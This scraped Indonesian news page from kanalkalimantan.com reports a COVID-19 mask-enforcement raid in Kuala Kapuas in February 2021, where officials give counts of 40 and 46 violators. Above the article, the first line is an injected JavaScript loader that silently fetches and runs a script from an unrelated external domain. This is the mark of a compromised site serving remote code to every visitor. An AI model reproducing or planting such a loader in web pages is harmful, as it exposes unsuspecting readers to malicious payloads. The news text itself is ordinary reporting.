(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Razia Protokol Kesehatan, Satgas Covid-19 Kapuas Jaring 46 Pelanggar Â


KANALKALIMANTAN. COM, KUALA KAPUAS – Satuan Polisi Pamong Praja dan Pemadam Kebakaran (Satpol PP dan Damkar) Kabupaten Kapuas bersama Kodim 1011/Klk, Polres Kapuas dan Dinas Perhubungan Kabupaten Kapuas menggelar penegakan hukum dan pendisiplinan protokol kesehatan di wilayah Kapuas, Senin (15/2/2021).

Kepala Satpol PP dan Damkar Kabupaten Kapuas Syahripin SSos melalui Kepala Bidang Penegakan Perda Ricky Adi Saputra mengatakan, razia atau operasi masker dalam rangka penegakan hukum dan pendisiplinan protokol kesehatan terhadap seluruh masyarakat di sejumlah kawasan jalan protokol, pasar dan kafe yang ada di kota Kuala Kapuas.

Satgas Covid-19 yang melakukan razia dari Satpol PP dan Damkar, TNI, Polri dan Dinas Perhubungan ini digalakkan untuk meningkatkan kesadaran masyarakat memakai masker. Operasi penegakan hukum protokol kesehatan bersama tim gabungan akan terus kami lakukan untuk mendisiplinkan masyarakat khususnya pemakaian masker. “Karena dari setiap mengelar razia masker masih banyak masyarakat yang didapati tidak mengunakan masker,” ungkapnya.

Dalam pelaksanaan razia masker tersebut, Satgas mendapati pelanggaran 40 orang pelanggar yang terjaring razia masker.

 

“Kita inginkan tingkat kepatuhan masyarakat dalam mematuhi protokol kesehatan meningkat, jangan menyepelekan corona, patuhi protokol kesehatan guna melindungi diri sendiri dari tertular covid 19,” terang Ricky.

Sekertaris Satpol PP dan Damkar Kabupaten Kapuas Teguh Yunianto mengatakan, tingkat kepatuhan masyarakat dalam mentaati protokol kesehatan yaitu memakai masker terlihat menurun.

Terlihat pada saat dilakukan razia masker selama satu jam yang berlokasi di jalan Tambun Bungai Patih Rumbih terdapat 46 orang terjaring razia. Maka dari itu masyarakat Kapuas agar ikuti sesuai protokol kesehatan dengan sering mencuci tangan, menjaga jarak serta menghindari kerumunan.

“Besar harapkan kami masyarakat semakin tertib dan disiplin dalam menerapkan protokol kesehatan khususnya memakai masker saat beraktivitas di luar rumah, yang tidak memakai masker saat beraktivitas di luar rumah dikenai sanksi sosial dan fisik,” tegas Teguh. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.